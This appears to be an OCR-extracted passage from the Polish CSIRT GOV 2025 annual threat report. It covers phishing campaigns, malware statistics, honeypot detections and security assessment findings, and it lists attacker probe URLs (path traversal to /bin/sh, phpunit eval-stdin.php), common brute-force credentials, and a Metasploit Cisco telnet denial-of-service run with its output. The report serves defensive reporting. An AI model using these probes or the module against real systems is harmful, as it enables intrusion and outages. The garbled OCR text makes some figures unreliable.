Rysunek 66. Zawartosc fatszywej strony internetowej.

Po wejsciu w interakcje z zawartym na stronie przyciskiem, uzytkownik przekierowywany byt
nastepnie do fatszywego panelu logowania Gmail, majacym na celu wytudzenie jego poswiadczen do ustug

firmy Google.
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Sign in

to continue to Gmail

Forgot email?

Not your computer? Use a Private Window to sign in. Learn more about
using Guest mode

Create account

Rysunek 67. Fatszywy panel logowania Gmail.

Zaobserwowane kampanie moga $wiadczy¢ o podejmowaniu przez aktoréw wywodzacych sie
z Azji Potudniowej dziatan majacych na celu pozyskanie informacji kluczowych z punktu widzenia interesow
narodowych tych panstw. W opinii Zespotu CSIRT GOV zaobserwowane kampanie nie $wiadczg o zwigkszonej
aktywnosci aktora bezposrednio w stosunku do Polski (kampanie te miaty charakter miedzynarodowy
i przesytane byty rowniez do dyplomacji innych panstw), a raczej $wiadczg o prébie pozyskania informacii
na temat stosunkow dyplomatycznych panstw osciennych (Swiadczy o tym m.in. kampania podszywajaca

sie pod chinskie podmioty).
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Oprogramowanie ztosliwe - statystyka

W 2025 roku Zespét CSIRT GOV przeprowadzit analize 13 146 plikow zgtoszonych przez podmioty

krajowego systemu cyberbezpieczenstwa, sposrod ktdrych 476 zostato rozpoznanych jako ztosliwe.

ziostiwy [ 476

Podejrzany . 777

Niezidentyfikowany I 274

Wykres 10. Wyniki analizy plikow w roku 2025.

Analiza realizowana w $rodowiskach izolowanych wykazata, iz sposrdd badanych plikdow, 11
619 probek nie wykazywato zadnych cech ztosliwych, 476 zostato rozpoznanych jako ztosliwe, 777 jako
podejrzane, a 274 otrzymato status niezidentyfikowany (np. ze wzgledu na brak poprawnego uruchomienia

w $rodowisku laboratoryjnym).

llos¢ analizowanego oprogramowania ztosliwego wzgledem roku poprzedniego byta mniejsza

0 okoto 14%. Ponizej przedstawiono miesieczny wolumen analizowanych plikow:

2025-01 N 705

2025-02 (I 02

2025-03 [ 1 13

2025-04 [ 1 229
2025-05 [ 1015

2025-06 [ 1050

2025-07 I (429
2025-08 [ 1 243
2025-09 [ © 56
2025-10 [ 113

2025-11 [ 1 154

2025-12 [N 795

Wykres 11. Statystyka miesieczna analizowanych plikéw.
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Charakterystyka analizowanych probek

Sposrad 476 zidentyfikowanych ztosliwych plikow, 180 zostato sklasyfikowanych, m.in. za pomoca

regut typu YARA oraz Sigma, do ponizszych typéw oprogramowania szkodliwego:
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Wykres 12. Klasyfikacja oprogramowania ztosliwego.

Dominujaca kategorig wsrod analizowanych probek oprogramowania ztosliwego w 2025 roku byto

oprogramowanie HTML Phisher, Agent Tesla, Snake Keylogger oraz Formbook.

Kategoria HTML Phisher odnosi sig przede wszystkim do ztoSliwych zatgcznikow w formacie
HTML lub plikow HTM, wykorzystywanych jako gtowny wektor inicjacji ataku. W 2025 roku technika ta
wykorzystywata m.in. mechanizm HTML Smuggling, polegajacy na budowaniu ztoSliwego tadunku
bezposrednio w przegladarce ofiary. Dodatkowo skrypty zagniezdzone w kodzie strony HTML pozwalaja
na ominigcie tradycyjnych systemdw filtrowania poczty, poniewaz sam plik nie zawiera docelowego
komponentu ztosliwego. Wykorzystanie technik zaciemniania kodu sprawia, ze statyczna analiza tych
plikow przez systemy antywirusowe lub DLP jest utrudniona. Pliki skategoryzowane jako HTML Phisher
stuzyty w 2025 roku w gtdwnej mierze do kradziezy danych logowania oraz tokendw sesyjnych, co
umozliwiato obejscie logowania wielosktadnikowego (MFA). Zagrozenie HTML Phisher moze posiadac
rowniez mozliwos¢ przechwytywania danych w czasie rzeczywistym (Adversary-in-the-Middle). Ataki te

sg masowe i charakteryzuja sie wysokim stopniem personalizacji pod konkretne branze.

Agent Tesla pozostawat w 2025 roku jednym z najbardziej aktywnych trojandw typu Infostealer,
ktérego gtownym zadaniem byta eksfiltracja danych wrazliwych, w tym haset przechowywanych

w przegladarkach internetowych oraz klientach FTP. Oprogramowanie posiada moduty zdolne do
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monitorowania schowka systemowego oraz wykonywania zrzutow ekranu bez wiedzy uzytkownika.
Komunikacja z serwerem zarzgdzajagcym (C2) odbywa sie zazwyczaj poprzez protokoty SMTP, FTP lub
za posrednictwem API np. aplikacji Telegram. Agent Tesla czesto dystrybuowany jest z wykorzystaniem

kampanii spamowych imitujacych faktury lub potwierdzenia zaméwien w formacie .zip lub .iso.

Kolejny rodzaj ztosliwego oprogramowania zostat sklasyfikowany jako Snake Keylogger -
ztosliwe oprogramowanie typu keylogger, ktdre rejestruje wszystkie wprowadzone przez uzytkownika
znaki na klawiaturze. Gtowne zagrozenie w przypadku tego typu zto$liwych programdw polega na
mozliwosci przechwytywania danych logowania, informacji o kartach ptatniczych jak réwniez ekstrakcji
danych z portfeli kryptowalutowych oraz komunikatorow. Snake Keylogger jest napisany w jezyku .NET,
co pozwala atakujagcym na biezgce wprowadzanie modyfikaciji i reagowanie na sygnatury systemow EDR.
Charakterystyczng cechg Snake Keyloggera jest wielowarstwowy proces infekcji, czesto rozpoczynajacy
sig od pobrania ztosliwego makra w dokumencie Office. Eksfiltracja danych z systemu ofiary odbywa sig

najczesciej z wykorzystaniem infrastruktury legalnych serwisow chmurowych.

Formbook, podobnie jak Agent Tesla, to popularne ztosliwe oprogramowanie typu infostealer,
ktdre koncentruje sie na kradziezy danych uzytkownika, takich jak dane logowania, pliki oraz informacje
przechowywane w przegladarkach internetowych (np. zapisane hasta i ciasteczka) oraz w programach
pocztowych. Gtowng domeng jego dziatania jest wstrzykiwanie kodu do procesow przegladarek w celu
przechwytywania danych wpisywanych w formularzach internetowych. Po zainfekowaniu komputera,

Formbook zapisuje dane w ukrytych plikach i przesyta je na serwery kontrolowane przez atakujgcego.

Klasyfikacja oprogramowania, bazujgca na analizie behawioralnej, wykazata nastepujgce

najczestsze zachowania analizowanych plikow lub zasobdw internetowych w roku 2025:

. Evader - prdba ominigcia zabezpieczen systemu operacyjnego, wykorzystanie funkcji
antydebbugera, wykorzystanie zaciemnienia (obfuskacii) kodu;

- Phisher - wykrycie podstepnego naktaniania uzytkownika do wykonania okreslonego dziatania,
udostepnienia poufnych informaciji, tj. hasta dostepowego, danych logowania czy danych kart
ptatniczych;

« Trojan - identyfikacja zmiany stacji roboczej w klienta sieci botnet, umozliwienie zdalnego dostepu
do stacji roboczej (RAT);

« Spyware - identyfikacja kradziezy danych wrazliwych, w tym m. in. danych z przegladarek
internetowych, danych logowania;

» Exploiter - identyfikacja wykorzystania podatnosci w oprogramowaniu lub systemie operacyjnym.
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W ponizszejtabeliprzedstawiono 10 najczesciejidentyfikowanych regutdlaanaliz przeprowadzonych

w $rodowisku sandbox, ktdre wptynety na koncowa ocene badanego pliku lub zasobu internetowego.

Wykryta reguta Liczba identyfikacji

Identyfikacja zaszyfrowanego pliku PDF zawierajacego formularze 487

Rozpoznanie pliku przez silniki antywirusowe 314

Modyfikacja kontekstu watku w innym procesie (thread injection) 182

Proba kradziezy danych wrazliwych z przegladarki (historia, hasta, ciasteczka) 153
Proba kradziezy danych uwierzytelniajacych do skrzynki pocztowej (poprzez dostep

do plikéw/danych w rejestrze) 146

Kod Zrédtowy .NET zawiera potencjalny modut rozpakowujacy (unpacker) 130

Rozpoznanie oprogramowania ztosliwego na podstawie regut YARA community 125

Wstrzyknigcie pliku PE do obcych procesow n7

Zapis do obcych regiondw pamigci przez prébke 85

Identyfikacja pliku konfiguracyjnego ztosliwego oprogramowania 84

Tabela 1. NajczesSciej identyfikowane reguty.

Ponizej przedstawiono 10 najczesciej wystepujacych w 2025 roku typow plikow, sposrod poddanych

analizie w systemach automatycznych:

L.p. Typ pliku Liczba wystapien
1 Adobe Portable Document Format 8645
2 Dokumenty pakietu Office (DOC, DOCX, XLS, XLSX, XLSM, PPT, PPTX,

obiekty OLE2) 1497
3 Win32 Executable 197
4 HyperText Markup Language 104
5 E-Mail message 65
6 Generic XML 36
7 ZIP compressed archive 31
8 ImgBurn Image 29
9 Winé4 Executable GUI 28
10 Win32 Dynamic Link Library 26

Tabela 2. Najczesciej analizowane typy plikdw.

Najwiekszg liczbe plikow poddanych analizie w systemach automatycznych stanowity pliki
w formacie PDF, dokumenty biurowe (w tym zawierajgce makra, funkcje DDE, obiekty OLE2), aplikacje
Win32 oraz pliki HTML.
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ARAKIS GOV - statystyka

W

System ARAKIS GOV to dedykowany, rozproszony system wczesnego ostrzegania o zagrozeniach
teleinformatycznych wystepujacych na styku sieci wewnetrznej z siecig Internet. Gtownym zadaniem systemu
jest wykrywanie i zautomatyzowane opisywanie zagrozen wystepujacych w sieciach teleinformatycznych

na podstawie agregacii, analizy i korelacji danych pochodzacych z roznych zrédet.

W 2025 roku w sieciach teleinformatycznych podmiotow uczestniczacych w projekcie ARAKIS GOV
zanotowano tgcznie 2 298 217 251 zdarzen, co przetozyto sie na 5 547 672 wygenerowane przez system
alarmy. W porownaniu z rokiem 2024, zauwazy¢ mozna ustabilizowanie ilosci zdarzen w skali miesigca
porownujac do linii aproksymujgcej. W ujeciu rocznym odnotowano wzrost liczby zdarzen o 350 miliondw
wzgledem roku 2024.

Suma zdarzen: 2 298 217 251
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Wykres 13. Rozktad zarejestrowanych zdarzen z podziatem na miesigce.
Wsrdd zanotowanych alarmow:

- 3 354 194 alarmy miaty priorytet pilny, tzn. wymagaty natychmiastowej reakcji

na zagrozenie ze strony administratordw, niosto duze ryzyko przetamania zabezpieczen;

- 60 243 alarmy miaty priorytet wysoki, tzn. wymagaty wzmozonej uwagi w kontekscie zagrozenia
wskazanego w alarmie, niosto Srednie ryzyko przetamania zabezpieczen;

- 87 613 alarmow miato priorytet sredni, tzn. byty to alarmy informujgce

o dobrze znanym zagrozeniu, ktdre niosty mate ryzyko przetamania zabezpieczen;

- 2 045 622 alarmy miaty priorytet niski, tzn. byty to alarmy czysto informacyjne, dotyczace
aktualnej sytuacji na styku sieci wewnetrznej z siecia Internet.
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Niski, 36,87%
Pilny, 60,46%

Sredni, 1,58% ¢

Wysoki, 1,09%

Wykres 14. Procentowy rozktad alarméw systemu ARAKIS GOV ze wzgledu na priorytet.

Kazdy z zanotowanych alarmow posiada doktadne dane techniczne, pozwalajace
na jego weryfikacje oraz jest szczegotowo klasyfikowany przez system. W ramach klasyfikacji kazdy alarm

moze zostac przypisany do jednego z pieciu podstawowych typow:

Typ 1 - komunikacja do ztosliwych adresow,
Typ 2 - skanowania;

Typ 3 - wykryte znane ataki;

Typ 4 - wykryte nieopisane ataki;

Typ 5 - infekcje wewnetrzne.

56,70%
2,63% 0,80% 2,99%

A o S

Typ1 Typ 2 Typ 3 Typ 4 Typ 5

Wykres 15. Procentowy podziat alarmow systemu ARAKIS GOV ze wzgledu na typ.
—
\ —

=\

ST W=

—

5



W 2025 roku alarmy Systemu ARAKIS GOV Typu 1 stanowity 56,70 %. Wygenerowane
alarmy wynikaty z prob nawigzywania komunikacji z adresami IP lub domenami uznanymi

za ztosliwe lub mogacymi stanowic zagrozenie.

Wsrad alarméw Typu 2 w 2025 roku najwiecej zdarzen zostato zanotowanych w podmiotach
skategoryzowanych jako Infrastruktura Krytyczna (41,27%). Porownujac wyniki do roku 2024 mozna
zaohserwowac, iz zainteresowanie podmiotami Infrastruktury Krytycznej utrzymuije sig na statym poziomie.
Wygenerowane alarmy pozwalajg okresli¢ kierunki zainteresowan osdb i/lub grup przeprowadzajgcych

skanowania.

4,07%
Pozostate
4,40% 2025
W 2024
L 5,53%
Stuzby i wojsko
6,06%
n 10,51%
Ministerstwa
1,37%
. 38,62%
Instytucje
36,42%
41,27%
Infrastruktura Krytyczna
42,45%

Wykres 16. Procentowy podziat zdarzen alarmow typu 2 w instytucjach.

Alarmy Typu 3 i 4 stanowity odpowiednio 2,63% oraz 0,80% ze wszystkich zarejestrowanych zdarzen,
co wprost wynika z wygenerowania sygnatury IDS w oparciu o ohserwowane komunikacje lub dopasowania
do sygnatury IDS niewidzianej w systemie od pewnego czasu. Ma to miejsce zaréwno przy wygenerowaniu

nowej sygnatury IDS, jak i przy aktualizacji uprzednio wygenerowanej sygnatury.

Alarmy Typu 5 to infekcje wewnetrzne identyfikowane na podstawie niepozadanej komunikacji

z elementami sieci objetymi systemem ARAKIS GOV.

Najbardziej aktywnym krajem pod katem liczby generowanych zdarzen w 2025 roku jest ponownie
USA (34% zdarzen i wzrost o 8% w stosunku do roku 2024). W poréwnaniu do 2024 roku w pierwszej
10 najaktywniejszych krajow powtarza sie osiem krajow, a wsrdd nowych krajow pojawita si¢ Rumunia

i Francja.
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, 2%,
Rosia [ bem 7%
%
5%
%
5%

Francja H% %

Chiny

Azerbejdzan

Wielka Brytania

8% B 2025
W 2024

Niemcy

Butgaria 23%

Niderlandy 17%

Rumunia 17%

USA 34%

26%

Wykres 17. Rozktad zrddet atakow na sieci monitorowane przez system ARAKIS GOV pod katem liczby generowanych
zdarzen.

Wartym zaznaczenia jest fakt, iz liczba zdarzen z poszczegdlnych krajow nalezacych do grupy TOP
10 stanowi az 80% wszystkich wygenerowanych zdarzen zanotowanych przez system ARAKIS GOV w 2025

roku, co stanowi utrzymanie trendu zaohserwowanego w roku 2024.

Biorgc pod uwage specyfike sieci Internet (tzw. brak granic), infrastruktura teleinformatyczna
podmiotow generujgcych zdarzenia w strone systemu ARAKIS GOV moze by¢ rozproszona oraz zlokalizowana
na terytorium dowolnych panstw na catym Swiecie. W zwigzku z powyzszym zaprezentowana statystyka

odzwierciedla lokalizacje ztosliwej infrastruktury sieciowej w poszczegdlnych krajach.
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ARAKIS GOV - charakterystyka wybranych zagrozen

W tabeli ponizej zaprezentowano informacje o portach docelowych, na ktére wygenerowano

najwigkszg liczbe zdarzen, celem identyfikacji istniejacych zasobow teleinformatycznych badz préb ich

eksploitacji.

Lp.  Docelowy port Liczba zdarzen

1 22 231648 078 SSH

2 445 88 030 057 SMB
3 443 53 068 071 HTTPS
4 53 41306 760 DNS
5 23 34 623 141 FTP

6 80 32730 222 HTTP
7 8728 18 679 445 Miktotik API
8 8080 11054 168 HTTP/S
9 25 9 712 534 SMTP
10 3389 9 368 807 RDP

Tabela 3. Zidentyfikowane w 2025 roku skanowania i proby eksploitacji ustug na podstawie danych z systemu ARA-
KIS GOV.

W roku 2025 najczesciej wykorzystywanym protokotem byto SSH dziatajace na porcie 22 oraz
SMB dziatajaca na porcie 445. Fakt ten pokazuje, ze gtdwnym celem osdb/grup prowadzacych rekonesans
jest zidentyfikowanie i zdobycie zdalnego dostepu do podatnych maszyn znajdujgcych sie w sieci Internet
oraz proby uzyskania dostepu do zasobdw plikowych. Mozna réwniez zaobserwowac ponowne bardzo
duze zainteresowanie ustugg DNS oraz API dla routeréw Mikrotik, co moze mie¢ zwigzek z poszukiwaniem
urzadzen podtaczonych do sieci Internet oraz mogacych posiadac btedna konfiguracje (wystawiony serwer

DNS na porcie WAN), lub posiadac starszg i podatng wersje oprogramowania.

W 2025 roku zidentyfikowano 39 455 781alertow reguty SNORT do obserwowanego ruchu sieciowego
zwigzanego z wykrytym ruchem wykorzystujacym protokét SSH. W pordwnaniu do roku 2024 (24 264 123

alertow) jest to wzrost o ponad 15 miliondw.
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Liczba zdarzen
39455781
16306207
5760809
4615714
3821680
1849542
1232649
1030780
646321
527494

Reguta SNORT

ET SCAN Potential SSH Scan OUTBOUND

ET INFO SSH-2.0-Go version string Observed in Network Traffic

ET SCAN Suspicious inbound to MSSQL port 1433
ET SCAN SSH BruteForce Tool with fake PUTTY version
ET SCAN Suspicious inbound to mySQL port 3306
ET SCAN Suspicious inbound to PostgreSQL port 5432
ET SCAN Suspicious inbound to Oracle SQL port 1521
ET SCAN Sipvicious User-Agent Detected (friendly-scanner)

ET SCAN Sipvicious Scan
ET INFO Session Traversal Utilities for NAT (STUN Binding Request)

Tabela 4. Najczesciej dopasowane reguty do ruchu sieciowego widzianego przez system ARAKIS GOV.

Ponizej przedstawiono 20 najpopularniejszych nazw uzytkownika oraz haset stosowanych do

prob nieautoryzowanego taczenia sie do ustug w sieciach teleinformatycznych podmiotéw wdrozonych do

systemu ARAKIS GOV.

Tabela 5. Top 20 logindw i haset wykorzystywanych w potgczeniach do ustug ARAKIS GOV.
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Top 20 loginow

root
admin
user
ubuntu
test
sa
oracle
debian
postgres
git
guest
mysql
ftpuser
hadoop
pi
es
dev
ftp
WWW

nginx

Top 20 haset
123456
password
123
12345678
admin
1234
12345
123456789
1
qwerty
P@sswOrd
test
mm
root
ahc123
admin123
passwOrd
1234567890
1q2w3e4r

ubuntu
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Ponizej przedstawiono 20 najpopularniejszych URL najczesciej wykorzystywanych przy rozpoznaniu

ustug http/s w sieciach teleinformatycznych podmiotéw uczestniczacych w projekcie ARAKIS GOV.

Top 20 URL

/.git/config
f/index.php
[cgi-bin/luci/%3Bstok%3D/locale
[robots.txt
[cgi-bin/..[.[.[.].].].].]..].[bin/sh

[cgi-bin/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%2
52e/%252e%252e/bin/sh

[geoserver/web/
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[api/.env
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/Util/PHP/eval-stdin.php
[phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/Util/PHP/eval-stdin.php
Jlib/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[containers/json

Tabela 6. 20 najpopularniejszych URL wykorzystywanych najczesciej przy rozpoznaniu ustug http/s.

W wyniku analizy danych agregowanych przez system ARAKIS GOV, Zespot CSIRT GOV odnotowat
takze liczne proby wykorzystania znanych podatnosci. Ponizej przedstawiono wybrane z nich wraz
z przyktadowymi zapytaniami wysytanymi do honeypotow bedacych czescig systemu ARAKIS GOV.

SAP NetWeaver Visual Composer

Obserwowane byty préby atakow wykorzystujgce podatnos¢ CVE-2025-31324 o stopniu krytycznosci
w skali CVSS:3.1 okreslonym na 10.0.

Przedmiotowa podatnos¢ to krytyczna luka typu Missing Authorization, ktdra pozwala
nieuwierzytelnionym atakujgcym na przesytanie dowolnych plikow do systemu SAP. Wynika to z braku

odpowiednich mechanizmow uwierzytelniania i autoryzacji przy dostepie do komponentu Metadata
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Uploader. Komponent ten, normalnie wykorzystywany przez deweloperow do wgrywania metadanych
podczas tworzenia aplikacji w Visual Composer, moze zosta¢ naduzyty przez atakujacych do wgrania

ztosliwych plikow oraz wykonania dowolnego kodu, na serwerze z instancjg SAP.
URL powiazany z podatnoscia:
/developmentserver/metadatauploader

Fortinet

Obserwowane byty proby atakow wykorzystujace podatno$é CVE202564446 o stopniu krytycznosci
w skali CVSS:3.1 okreslonym na 9.8.

Przedmiotowa podatnosc typu Path Traversal wystepujgca w Fortinet FortiWeb Manager pozwala
nieuwierzytelnionemu atakujgcemu na wystanie spreparowanego zadania HTTP POST do konkretnej
Sciezki, co w konsekwencji umozliwia utworzenie lokalnego konta uzytkownika z uprawnieniami

administratora na urzadzeniu docelowym.

URL powiazany z podatnoscia:

[/api/v2.0/cmdb/system/admin%3F/../../..][..]../cgi-bin/fwbcqgi

Tenda HG10

Obserwowane byty proby atakéw wykorzystujace podatnosc¢ CVE- 2026-1689 o stopniu krytycznosci
w skali CVSS:3.1 okreslonym na 7.3.

Oprogramowanie uktadowe routera Tenda HG10 posiada luke umozliwiajaca przeprowadzenia
ataku typu Command Injection. Podatnos¢ wystepuje w funkcji checkUserFromLanOrWan komponentu
interfejsu logowania, ktdra nie zapewnia odpowiedniej walidacji danych wejsciowych. Atakujacy, uzywajac
specjalne spreparowanego zadania, moze wstrzykna¢ znaki specjalne powtoki, ktdre oprogramowanie

routera wykonuje jako komendy systemowe. Podatnos¢ nie wymaga uwierzytelnienia.

URL powigzany z podatnoscia:

[/boaform/admin/formLogin
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Geoserver

Ponadto, w nawigzaniu do roku poprzedniego, system ARAKIS GOV nadal odnotowuje wzmozong
ilos¢ zapytan zwigzanych z probami eksploitacji podatnosci w aplikacji Geoserver, oznaczonych jako
CVE-2024-36401 oraz CVE-2024-36404, o stopniu krytycznosci w skali CVSS:3.1 okreslonym, w obydwu
przypadkach, na 9.8.

URL powigzany z podatnoscia:

[/geoserver/web/
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Jednym z ustawowych zdan natozonych na Zespot CSIRT GOV jest ocena bezpieczenstwa systemdw
teleinformatycznych instytucji administracji rzadowej oraz infrastruktury krytycznej. W 2025 roku, zgodnie
z planem przyjetym na ten rok, przeprowadzone zostaty oceny w 14 instytucjach, w ktdrych oceniono

tacznie 164 segmenty sieci/systemow teleinformatycznych oraz 38 domen/subdomen i stron WWW.

W ramach wykonanych ocen bezpieczenstwa Zespé6t CSIRT GOV przeprowadzit szereg testow
majacych na celu identyfikacje istotnych podatnosci wptywajacych na bezpieczenstwo infrastruktury
teleinformatycznej ocenianych podmiotow. Do rzeczonych testdw nalezato pasywne oraz aktywne
zhieranie informacji, identyfikacja podatnosci architektury systemdw i ustug sieciowych, aplikacji www,

wykorzystanie podatnosci oraz analiza wptywu wykorzystania czynnikow inzynierii spotecznej.

W wyniku przeprowadzonych ocen bezpieczenstwa Zespot CSIRT GOV dokonat identyfikacji
szeregu podatnosci od stopnia niskiego, az do btedow nalezgcych do kategorii krytycznych. Ponizszy
wykres przedstawia zestawienie zidentyfikowanych podatnosci, ktore zostaty opisane w przygotowanych
raportach z przeprowadzonych ocen bezpieczenstwa i przestane do instytucii, ktorych systemy podlegaty

ocenie.

Niskie, 369 Krytyczne, 283

\

Wysokie, 975

Srednie, 3564

Wykres 18. Wykryte podatnosci w 2025 r.

ST \

5

\

\\

/
/
\4
/
/\
—



Najwazniejsza grupg podatnosci stanowity podatnosci identyfikowane jako zagrozenia krytyczne

oraz wysokie i dotyczyty:

1) Niezaktualizowanego oprogramowania wystepujacego w szeregu ustug wykorzystywanych przez

podmioty, tj.:

- Oracle WebLogic Server

- Oracle Database

- Firebird DataBase Server

« Microsoft Internet Information Services (IIS)
- Apache Tomcat

- Dell EMC iDRAC8/iDRACY

- Dell EMC Open Manager Server Administrator
- JBoss Web Application Server

- Flexera FlexNet Publisher

- VMware vCenter Server

- VMware vSphere Application Management

- HPE System Management Homepage

- QNAP QTS File Station

- Trellix Enterprise Security Manager

- phpMyAdmin

- OpenSSL

- PHP

2) Wykorzystywania niewspieranego przez producenta oprogramowania tj.:

- Microsoft Windows 2000

- Microsoft Windows XP

- Microsoft Windows 7 Prof.

- Microsoft Windows Server 2003 R2

- Microsoft Windows Server 2008 R2

- Microsoft Windows Server 2012 R2

- Microsoft Internet Information Services (IIS)
- Microsoft SQL Server

W
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3) Ustug/ protokotow podatnych na ataki:

- Network Time Protocol (NTP)

- Simple Mail Transfer Protocol (SMTP)

- Simple Network Management Protocol (SNMP)
- Microsoft Server Message Block 1.0 (SMBv1)

- Remote Desktop Protocol (RDP)

- Universal Plug and Play - MiniUPnP

\\ \\\\’f\\\

« Inter-Control Center Communications Protocol (ICCP)
- Apple Filing Protocol (AFP)

- Oracle Database Listener

- Virtual Network Computing (VNC)

- I[P Camera Hikvision

- Message Queuing

- Interface Printer Job Language (PJL)

4) Dostepu anonimowego, bez wymaganego uwierzytelnienia lub na postawie domyslnych haset:
- Telnet

- File Transfer Protocol (FTP) / Trivial File Transfer Protocol (TFTP)

- Remote Dictionary Server (Redis)

- Server MOXA NPort

- Modut biblioteki tasmowej BDT FlexStor I

W przypadku podatnosci o mniejszej wadze (zagrozenia Srednie oraz niskie), do najczesciej

identyfikowanych mozna zaliczyc:

- Akceptowanie potaczen z wykorzystaniem szyfrowania SSL 2.0, 3.0, TLS 1.0;

- Wsparcie dla stabych algorytmow szyfrowania SSL (dtugo$¢ klucza od 64 do 112 bit-0w);

- Wykorzystywanie algorytméw hashowania podatnych na kolizje tj. m.in. MD2, MD4, MD5 lub SHAT,
- Podatnosé DROWN w SSLv2 - mozliwa deszyfracja przechwyconego ruchu TLS;

- Podatnos¢ POODLE w SSLv3 - mozliwe przeprowadzenie ataku typu Man-in-the-Middle;

- Stosowanie certyfikatow typu ,self-signed” - certyfikat X.509 serwerdw podpisany przez nieznane
centrum autoryzacyjne (CA);

- Internet Key Exchange (IKEv1) - stosowanie trybu AggressiveMode;

- Brak skonfigurowanego Network Level Authentication (NLA) dla serweréw RDP. \\
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Ponadto Zespot CSIRT GOV w ramach prowadzonych ocen bezpieczenstwa dokonywat rowniez
analizy zradet otwartych w ramach czynnosci typu OSINT. Czynnosci te pozwolity na okreslenie metadanych
wdokumentach publikowanychwramach publicznychserwerow WWW orazportalispotecznosciowych. Celem
tego typu dziatan jest kazdorazowo ujawnienie danych wrazliwych poprzez rozpoznanie ogélnodostepnych
zrédet informacji, ktére moga pozniej postuzyc do atakow, przede wszystkim spearphishingowych, wobec

poszczegolnych podmiotdw.

W o$miu podmiotach, wobec ktorych prowadzona byta ocena bezpieczenstwa, przeprowadzono
rowniez testy socjotechniczne na wybranej przez instytucje grupie pracownikow. Podstawowym
wektorem ataku byta symulacja kampanii socjotechnicznej na stuzbowe skrzynki poczty elektronicznej
pracownikow. W celu przeprowadzenia testow, ktorych scenariusz bytby zblizony do realnych atakow
grup APT, stosowano techniki w postaci zakupu domen, ktdre nazwg zblizone byty np. do nazw instytucji
lub poszczegdlnych departamentéw/piondow tych instytucji - zastosowano technike ,typosquatting”.
Zazwyczaj scenariusz ataku opierat sie o probe podszycia pod pracownika instytucji i wytudzenia danych
dostepowych do kont systemowych lub stuzbowej poczty lub prdbie naktonienia uzytkownika do otwarcia
potencjalnie niebezpiecznego zatgcznika lub linku, ktory miat symulowaé zto$liwe oprogramowanie.
Wyniki przeprowadzonych testow wykazaty zrdznicowany poziom odpornosci pracownikow na tego typu
ataki. Skutecznos¢ kampanii oscylowata od kilku, do nawet kilkunastu procent przechwyconych danych
uwierzytelniajgcych czy prob uruchomienia potencijalnie ztosliwej zawartosci w przestanych wiadomosciach
i zatgcznikach. Nie odnotowano przypadku instytucji, w ktdrej testy w 100% potwierdzityby odpornosc
pracownikow na zagrozenie typu phishing. Taka sytuacja potwierdza teze, ze najstabszym elementem
kazdego systemu bezpieczenstwa jest cztowiek, dlatego nieodtgcznym i regularnym elementem procesow
odpowiedzialnych za bezpieczenstwo kazdej instytucji czy podmiotu powinny by¢ szkolenia pracownikéw

obejmujace zagadnienia wspétczesnych cyberzagrozen i aktualnie wykorzystywanych technik atakdw.
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Przyktadowe wykryte podatnosci

Podatnosc w kodzie przetwarzania protokotu Cisco Cluster Management

Na urzadzeniu sieciowym Cisco, w protokole CMP wykryto luke bezpieczenstwa, umozliwiajgca
nieuwierzytelnionemu atakujacemu na zdalne przeprowadzenie ataku typu Denial of Service (DoS) za

pomoca pojedynczej stacji roboczej - przyktad ponize;.

a) Weryfikacja dostepnosci urzadzenia:

# ping 10.73.3.22
PING 10.73.3.22 (10

64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
64 bytes
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64 bytes
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64 bytes
64 bytes
64 bytes
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3
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3
3
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3
3
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3
3
3
3

3.3

.22) 56(84) b
W22

icmp_seg=1

icmp_seg=2

icmp_seq=3

icmp_seqg=4

icmp_seq=5

icmp_seq=6

icmp_seq=7

icmp_seq=8

icmp_seq=9

icmp_seq=10
icmp_seqg=11
icmp_seq=12
icmp_seq=13
icmp_seqg=14
icmp_seq=15
icmp_seq=16
icmp_seq=17
icmp_seq=18
icmp_seq=19
icmp_seq=20
icmp_seq=21
icmp_seq=22
icmp_seq=23
icmp_seq=24
icmp_seq=25
icmp_seq=26
icmp_seq=27
icmp_seq=28
icmp_seq=29
icmp_seq=30
icmp_seq=31
icmp_seq=32
icmp_seq=33
icmp_seq=34
icmp_seq=35
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ttl=255
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tt1=255
tt1=255
ttl=255
tt1=255

data.

time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.

time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=7.
time=6.
time=4.
time=2.
time=1.
time=1.
time=1.
time=1.
time=0.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.
time=1.

Rysunek 68. Weryfikacja dostepnosci ustugi.
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b) Uruchomienie modutu: ,dos/cisco/ios_telnet_rocem”, symulujacego atak typu DoS - ustuga telnet,
port 23/tcp

c)

ms£6 auxiliary(des/cisco/ios_telnet_rocem) > show options
Module opticns (auxiliary/deos/cisco/ios telnet rocem):
Name Current Setting Required Description

RHOSTS 10.73.3.22

RFORT 23

yes
yes

The target port (TCF)

msfé auxiliary(do5/cisco/ios_telnet_rocem) > run
[*] Running module against 10.73.3.22
[*] 10.73.3.22:23 - Connected to telnet service
[*] 10.73.3.22:23 -
"\ XFF\RFBA\X01\XFF\XFB\X03\XFF\XFD\x 18\ XFF\XFD\X1F"
[*] 10.73.3.22:23 - Sending Telnet DoS packet
[*] Buxiliary module execution completed

Got

initial packe

T

from telnet

service:

Rysunek 69. Modut pomocniczy (Auxiliary) frameworka Metasploit ,ios_telnet_rocem”.

Weryfikacja dostepnosci urzadzenia:

~—N ping 18.73.3.22
19.73.3.22 (18.73.3.22) 56(84) bytes of

PING
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
From
Fram
From
From
From
From
From
From
From
From

10.73.2
18.73.2
18.73.2
18.73.2
18.73.2
18.73.2
18.73.2
19.73.2
18.73.2

18.73.2.

18.73.2
18.73.2
18.73.2
10.73.2
18.73.2
18.73.2
18.73.2

18.73.2.
18.73.2.

10.73.2
18.73.2
18.73.2
18.73.2
18.73.2
19.73.2
18.73.2
18.73.2
18.73.2
